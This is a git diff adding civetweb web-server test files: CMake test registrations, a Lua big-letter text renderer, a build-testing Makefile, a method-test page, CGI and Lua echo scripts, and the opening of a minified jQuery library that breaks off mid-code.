+civetweb_add_test(PublicServer "Start threads") +civetweb_add_test(PublicServer "Minimal Server") +civetweb_add_test(PublicServer "Minimal Client") +civetweb_add_test(PublicServer "Start Stop HTTP Server") +civetweb_add_test(PublicServer "Start Stop HTTP Server IPv6") +civetweb_add_test(PublicServer "Start Stop HTTPS Server") +civetweb_add_test(PublicServer "TLS Server Client") +civetweb_add_test(PublicServer "Server Requests") +civetweb_add_test(PublicServer "Store Body") +civetweb_add_test(PublicServer "Handle Form") +civetweb_add_test(PublicServer "HTTP Authentication") +civetweb_add_test(PublicServer "HTTP Keep Alive") +civetweb_add_test(PublicServer "Error handling") +civetweb_add_test(PublicServer "Limit speed") +civetweb_add_test(PublicServer "Large file") +civetweb_add_test(PublicServer "File in memory") + +# Timer tests +civetweb_add_test(Timer "Timer Single Shot") +civetweb_add_test(Timer "Timer Periodic") +civetweb_add_test(Timer "Timer Mixed") + +# Tests with main.c +#civetweb_add_test(EXE "Helper funcs") + + +# Add the coverage command(s) +if (${CMAKE_BUILD_TYPE} MATCHES "[Cc]overage") + find_program(GCOV_EXECUTABLE gcov) + find_program(LCOV_EXECUTABLE lcov) + find_program(GENHTML_EXECUTABLE genhtml) + find_program(CTEST_EXECUTABLE ctest) + if (GCOV_EXECUTABLE AND LCOV_EXECUTABLE AND GENHTML_EXECUTABLE AND CTEST_EXECUTABLE AND HAVE_C_FLAG_COVERAGE) + add_custom_command( + OUTPUT ${CMAKE_BINARY_DIR}/lcov/index.html + COMMAND ${LCOV_EXECUTABLE} -q -z -d . + COMMAND ${LCOV_EXECUTABLE} -q --no-external -c -b "${CMAKE_SOURCE_DIR}" -d . -o before.lcov -i + COMMAND ${CTEST_EXECUTABLE} --force-new-ctest-process + COMMAND ${LCOV_EXECUTABLE} -q --no-external -c -b "${CMAKE_SOURCE_DIR}" -d . -o after.lcov + COMMAND ${LCOV_EXECUTABLE} -q -a before.lcov -a after.lcov --output-file final.lcov + COMMAND ${LCOV_EXECUTABLE} -q -r final.lcov "'${CMAKE_SOURCE_DIR}/test/*'" -o final.lcov + COMMAND ${GENHTML_EXECUTABLE} final.lcov -o lcov --demangle-cpp --sort -p "${CMAKE_SOURCE_DIR}" -t benchmark + DEPENDS main-c-unit-test + WORKING_DIRECTORY ${CMAKE_BINARY_DIR} + COMMENT "Running LCOV" + ) + add_custom_target(coverage + DEPENDS ${CMAKE_BINARY_DIR}/lcov/index.html + COMMENT "LCOV report at lcov/index.html" + ) + message(STATUS "Coverage command added") + else() + if (HAVE_C_FLAG_COVERAGE) + set(C_FLAG_COVERAGE_MESSAGE supported) + else() + set(C_FLAG_COVERAGE_MESSAGE unavailable) + endif() + message(WARNING + "Coverage command not available:\n" + " gcov: ${GCOV_EXECUTABLE}\n" + " lcov: ${LCOV_EXECUTABLE}\n" + " genhtml: ${GENHTML_EXECUTABLE}\n" + " ctest: ${CTEST_EXECUTABLE}\n" + " --coverage flag: ${C_FLAG_COVERAGE_MESSAGE}") + endif() +endif() diff --git a/src/civetweb/test/HugeText.lua b/src/civetweb/test/HugeText.lua new file mode 100644 index 000000000..0fa57f1fe --- /dev/null +++ b/src/civetweb/test/HugeText.lua @@ -0,0 +1,149 @@ +-- (c) bel2125, 2010 +-- MIT public licence + + +local letterCode = { + [' '] = {0,0,0,0,0}, + ['!'] = {0,0,95,0,0}, + ['"'] = {0,3,4,3,0}, + ['#'] = {34,127,34,127,34}, + ['$'] = {36,42,127,42,18}, + ['%'] = {35,19,8,100,98}, + ['&'] = {54,73,85,34,80}, + ["'"] = {0,11,7,0,0}, + ['('] = {0,28,34,65,0}, + [')'] = {0,65,34,28,0}, + ['*'] = {20,8,62,8,20}, + ['+'] = {8,8,62,8,8}, + [','] = {0,88,56,0,0}, + ['-'] = {8,8,8,8,8}, + ['.'] = {0,96,96,0,0}, + ['/'] = {32,16,8,4,2}, + ['0'] = {62,81,73,69,62}, + ['1'] = {0,66,127,64,0}, + ['2'] = {66,97,81,73,70}, + ['3'] = {65,73,77,75,49}, + ['4'] = {24,20,18,127,16}, + ['5'] = {39,69,69,69,57}, + ['6'] = {60,74,73,73,48}, + ['7'] = {1,1,121,5,3}, + ['8'] = {54,73,73,73,54}, + ['9'] = {6,73,73,41,30}, + [':'] = {0,54,54,0,0}, + [';'] = {0,91,59,0,0}, + ['<'] = {8,20,34,65,0}, + ['='] = {20,20,20,20,20}, + ['>'] = {0,65,34,20,8}, + ['?'] = {2,1,81,9,6}, + ['@'] = {50,73,121,65,62}, + ['A'] = {124,18,17,18,124}, + ['B'] = {65,127,73,73,54}, + ['C'] = {62,65,65,65,34}, + ['D'] = {65,127,65,65,62}, + ['E'] = {127,73,73,73,65}, + ['F'] = {127,9,9,9,1}, + ['G'] = {62,65,65,73,57}, + ['H'] = {127,8,8,8,127}, + ['I'] = {0,65,127,65,0}, + ['J'] = {32,64,65,63,1}, + ['K'] = {127,8,20,34,65}, + ['L'] = {127,64,64,64,64}, + ['M'] = {127,2,12,2,127}, + ['N'] = {127,4,8,16,127}, + ['O'] = {62,65,65,65,62}, + ['P'] = {127,9,9,9,6}, + ['Q'] = {62,65,81,33,94}, + ['R'] = {127,9,25,41,70}, + ['S'] = {38,73,73,73,50}, + ['T'] = {1,1,127,1,1}, + ['U'] = {63,64,64,64,63}, + ['V'] = {7,24,96,24,7}, + ['W'] = {127,32,24,32,127}, + ['X'] = {99,20,8,20,99}, + ['Y'] = {3,4,120,4,3}, + ['Z'] = {97,81,73,69,67}, + ['['] = {0,127,65,65,0}, + ['\\'] = {2,4,8,16,32}, + [']'] = {0,65,65,127,0}, + ['^'] = {24,4,2,4,24}, + ['_'] = {64,64,64,64,64}, + ['`'] = {0,0,7,11,0}, + ['a'] = {56,68,68,60,64}, + ['b'] = {127,72,68,68,56}, + ['c'] = {56,68,68,68,32}, + ['d'] = {56,68,68,72,127}, + ['e'] = {56,84,84,84,24}, + ['f'] = {0,8,126,9,2}, + ['g'] = {8,84,84,60,0}, + ['h'] = {127,4,4,120,0}, + ['i'] = {0,0,125,0,0}, + ['j'] = {32,64,68,61,0}, + ['k'] = {127,16,40,68,0}, + ['l'] = {0,0,127,0,0}, + ['m'] = {120,4,120,4,120}, + ['n'] = {124,8,4,4,120}, + ['o'] = {56,68,68,68,56}, + ['p'] = {124,20,20,20,8}, + ['q'] = {24,36,20,124,64}, + ['r'] = {124,8,4,4,0}, + ['s'] = {72,84,84,84,32}, + ['t'] = {4,62,68,32,0}, + ['u'] = {60,64,64,32,124}, + ['v'] = {28,32,64,32,28}, + ['w'] = {60,64,48,64,60}, + ['x'] = {68,36,124,72,68}, + ['y'] = {12,80,80,60,0}, + ['z'] = {68,100,84,76,68}, + ['{'] = {0,8,54,65,0}, + ['|'] = {0,0,119,0,0}, + ['}'] = {0,65,54,8,0}, + ['~'] = {8,4,8,16,8}, +}; + +letterCode['('] = {0,60,66,129,0} +letterCode[')'] = {0,129,66,60,0} +letterCode[','] = {0,176,112,0,0} +letterCode[';'] = {0,182,118,0,0} +letterCode['['] = {0,255,129,129,0} +letterCode[']'] = {0,129,129,255,0} +letterCode['_'] = {128,128,128,128,128} +letterCode['g'] = {24,164,164,124,0} +letterCode['j'] = {64,128,132,125,0} +letterCode['p'] = {252,36,36,36,24} +letterCode['q'] = {24,36,36,252,128} +letterCode['y'] = {12,80,80,60,0} +letterCode['{'] = {0,24,102,129,0} +letterCode['}'] = {0,129,102,24,0} + + +local function HugeLetter(letter) + if letter==' ' then return {" ", " ", " ", " ", " ", " ", " ", " "} end + local code = letterCode[letter] + local str = {"", "", "", "", "", "", "", ""} + for i=1,5 do + local n = code[i] + if n and n>0 then + for b=1,8 do + if bit32.btest(n, bit32.lshift(1, b-1)) then str[b] = str[b] .. letter else str[b] = str[b] .. ' ' end + end + end + end + return str +end + +function HugeText(str) + local txt = {"", "", "", "", "", "", "", ""} + for i=1,string.len(str) do + local s = HugeLetter(str:sub(i,i)) + for b=1,8 do + if i>1 then + txt[b] = txt[b] .. " " .. s[b] + else + txt[b] = txt[b] .. s[b] + end + end + end + return txt +end + +return HugeText diff --git a/src/civetweb/test/MakefileTest.mk b/src/civetweb/test/MakefileTest.mk new file mode 100644 index 000000000..08d8e337e --- /dev/null +++ b/src/civetweb/test/MakefileTest.mk @@ -0,0 +1,88 @@ +# +# Copyright (c) 2013 No Face Press, LLC +# License http://opensource.org/licenses/mit-license.php MIT License +# + +#This makefile is used to test the other Makefiles + +TOP = .. +TEST_OUT = test_install + +include $(TOP)/resources/Makefile.in-os + +all: test + +test: buildoptions buildlibs buildinstall +test: buildexamples threaded + +ifeq ($(TARGET_OS),OSX) +test: dmg +endif + +test: clean + @echo PASSED + +dmg: + @echo "================" + $(MAKE) -C $(TOP) -f Makefile.osx clean package + +buildexamples: + @echo "================" + $(MAKE) -C $(TOP)/examples/embedded_c clean all + $(MAKE) -C $(TOP)/examples/embedded_c clean + @echo "================" + $(MAKE) -C $(TOP)/examples/embedded_cpp clean all + $(MAKE) -C $(TOP)/examples/embedded_cpp clean + @echo "================" + $(MAKE) -C $(TOP)/examples/chat clean all + $(MAKE) -C $(TOP)/examples/chat clean + @echo "================" + $(MAKE) -C $(TOP)/examples/hello clean all + $(MAKE) -C $(TOP)/examples/hello clean + @echo "================" + $(MAKE) -C $(TOP)/examples/post clean all + $(MAKE) -C $(TOP)/examples/post clean + @echo "================" + $(MAKE) -C $(TOP)/examples/upload clean all + $(MAKE) -C $(TOP)/examples/upload clean + @echo "================" + $(MAKE) -C $(TOP)/examples/websocket clean all + $(MAKE) -C $(TOP)/examples/websocket clean + +buildoptions: + @echo "================" + $(MAKE) -C $(TOP) clean build + @echo "================" + $(MAKE) -C $(TOP) clean build WITH_IPV6=1 + @echo "================" + $(MAKE) -C $(TOP) clean build WITH_WEBSOCKET=1 + @echo "================" + $(MAKE) -C $(TOP) clean build WITH_LUA=1 + @echo "================" + $(MAKE) -C $(TOP) clean build WITH_LUA=1 WITH_IPV6=1 WITH_WEBSOCKET=1 + +threaded: + @echo "================" + $(MAKE) -j 8 -C $(TOP) clean WITH_LUA=1 + $(MAKE) -j 8 -C $(TOP) build WITH_LUA=1 + +buildinstall: + @echo "================" + $(MAKE) -C $(TOP) clean install PREFIX=$(TEST_OUT) + +buildlibs: + @echo "================" + $(MAKE) -C $(TOP) clean lib + @echo "================" + $(MAKE) -C $(TOP) clean slib + @echo "================" + $(MAKE) -C $(TOP) clean lib WITH_CPP=1 + @echo "================" + $(MAKE) -C $(TOP) clean slib WITH_CPP=1 + +clean: + @echo "================" + $(MAKE) -C $(TOP) clean + rm -rf $(TOP)/$(TEST_OUT) + +.PHONY: all buildoptions buildinstall clean os linux diff --git a/src/civetweb/test/MethodTest.xhtml b/src/civetweb/test/MethodTest.xhtml new file mode 100644 index 000000000..b9365e2ce --- /dev/null +++ b/src/civetweb/test/MethodTest.xhtml @@ -0,0 +1,200 @@ + + + + + HTTP method test + + + + + + +

Fatal error: Javascript not available!

+ +

Test parameters

+
+ +

Protocol

+ http
+ https + +

Server/Host

+ + +

Resource

+ + +

Method

+ + + + + + + + + + + + + + + +
Save Methods"Unsave" Idempotent MethodsNon-Idempotent MethodsSpecial
+ OPTIONS
+ GET
+ HEAD
+ TRACE
+ PROPFIND
+
+ PUT
+ DELETE
+ COPY
+ MOVE
+ PROPPATCH
+ UNLOCK
+
+ POST
+ PATCH
+ MKCOL
+ LOCK
+
+ CONNECT
+
+
+ +

Body data

+ No body data
+ 10 Bytes ("1234567890")
+ Bytes random data
+ +

Submit

+ + +
+ + diff --git a/src/civetweb/test/README.md b/src/civetweb/test/README.md new file mode 100644 index 000000000..49f2245df --- /dev/null +++ b/src/civetweb/test/README.md @@ -0,0 +1,25 @@ +Testing +======= + +C API +----- + +The unit tests leverage the CTest and Check frameworks to provide a easy +environment to build up unit tests. They are split into Public and Private +test suites reflecting the public and internal API functions of civetweb. + +When adding new functionality to civetweb tests should be written so that the +new functionality will be tested across the continuous build servers. There +are various levels of the unit tests: + + * Tests are included in + * Test Cases which are there are multiple in + * Test Suites which are ran by the check framework by + * `civetweb-unit-tests` which is driven using the `--suite` and + `--test-case` arguments by + * CTest via `add_test` in `CMakeLists.txt` + +Each test suite and test case is ran individually by CTest so that it provides +good feedback to the continuous integration servers and also CMake. Adding a +new test case or suite will require the corresponding `add_test` driver to be +added to `CMakeLists.txt` diff --git a/src/civetweb/test/ajax/echo.cgi b/src/civetweb/test/ajax/echo.cgi new file mode 100644 index 000000000..577c4bd5d --- /dev/null +++ b/src/civetweb/test/ajax/echo.cgi @@ -0,0 +1,8 @@ +#!/bin/sh + +echo "Content-Type: text/plain; charset=utf-8" +echo "Connection: close" +echo "Cache-Control: no-cache" +echo "" + +echo "{}" diff --git a/src/civetweb/test/ajax/echo.cgi.old b/src/civetweb/test/ajax/echo.cgi.old new file mode 100644 index 000000000..3f4eeebca --- /dev/null +++ b/src/civetweb/test/ajax/echo.cgi.old @@ -0,0 +1,73 @@ +#!/usr/bin/lua5.1 + +-- Every CGI script that returns any valid JSON object will work in the test. +-- In case you do not have not yet used CGI, you may want to use this script which is written in Lua. +-- You may download an interpreter from http://luabinaries.sourceforge.net/download.html, extract it +-- to some folder in your search path (the path of the webserver or /usr/bin on Linux), and add the +-- following lines to your .conf file. +-- cgi_interpreter c:\somewhere\lua5.1.exe +-- enable_keep_alive yes + +resp = "{"; + +method = os.getenv("REQUEST_METHOD") +uri = os.getenv("REQUEST_URI"); +query = os.getenv("QUERY_STRING"); +datalen = os.getenv("CONTENT_LENGTH"); + +if method then + resp = resp .. '"method" : "' .. method .. '", '; +end +if uri then + resp = resp .. '"uri" : "' .. uri .. '", '; +end +if query then + resp = resp .. '"query" : "' .. query .. '", '; +end +if datalen then + resp = resp .. '"datalen" : "' .. datalen .. '", '; +end + +resp = resp .. '"time" : "' .. os.date() .. '" '; + +resp = resp .. "}"; + + + + +print "Status: 200 OK" +print "Connection: close" +--print "Connection: keep-alive" +print "Content-Type: text/html; charset=utf-8" +print "Cache-Control: no-cache" +--print ("Content-Length: " .. resp:len()) +print "" + +print (resp) + + +doLogging = false + +if (doLogging) then + -- Store the POST data to a file + if (method == "POST") then + myFile = io.open("data" .. query:sub(4) .. ".txt", "wb"); + myFile:write(resp) + myFile:write("\r\n\r\n") + if datalen then + datalen = tonumber(datalen) + myFile:write("<<< " .. datalen .. " bytes of data >>>\r\n") + + data = io.stdin:read(datalen) + myFile:write(data) + + myFile:write("\r\n<<< end >>>\r\n") + else + myFile:write("<<< no data >>>\r\n") + end + myFile:close() + end +end + + + diff --git a/src/civetweb/test/ajax/echo.lp b/src/civetweb/test/ajax/echo.lp new file mode 100644 index 000000000..7276f8137 --- /dev/null +++ b/src/civetweb/test/ajax/echo.lp @@ -0,0 +1,9 @@ + \ No newline at end of file diff --git a/src/civetweb/test/ajax/echo.lua b/src/civetweb/test/ajax/echo.lua new file mode 100644 index 000000000..131751629 --- /dev/null +++ b/src/civetweb/test/ajax/echo.lua @@ -0,0 +1,35 @@ +resp = "{"; + +method = mg.request_info.request_method +uri = mg.request_info.uri +query = mg.request_info.query_string +datalen = nil -- TODO: "CONTENT_LENGTH" ! + +if method then + resp = resp .. '"method" : "' .. method .. '", '; +end +if uri then + resp = resp .. '"uri" : "' .. uri .. '", '; +end +if query then + resp = resp .. '"query" : "' .. query .. '", '; +end +if datalen then + resp = resp .. '"datalen" : "' .. datalen .. '", '; +end + +resp = resp .. '"time" : "' .. os.date() .. '" '; + +resp = resp .. "}"; + + + +mg.write("HTTP/1.1 200 OK\r\n") +mg.write("Connection: close\r\n") +mg.write("Content-Type: text/html\r\n") +mg.write("Cache-Control: no-cache\r\n") +--mg.write("Content-Length: " .. resp:len() .. "\n") +mg.write("\r\n") + +mg.write(resp) + diff --git a/src/civetweb/test/ajax/jquery.js b/src/civetweb/test/ajax/jquery.js new file mode 100644 index 000000000..198b3ff07 --- /dev/null +++ b/src/civetweb/test/ajax/jquery.js @@ -0,0 +1,4 @@ +/*! jQuery v1.7.1 jquery.com | jquery.org/license */ +(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"":"")+""),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;g=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
a",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="
"+""+"
",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="
t
",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="
",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var 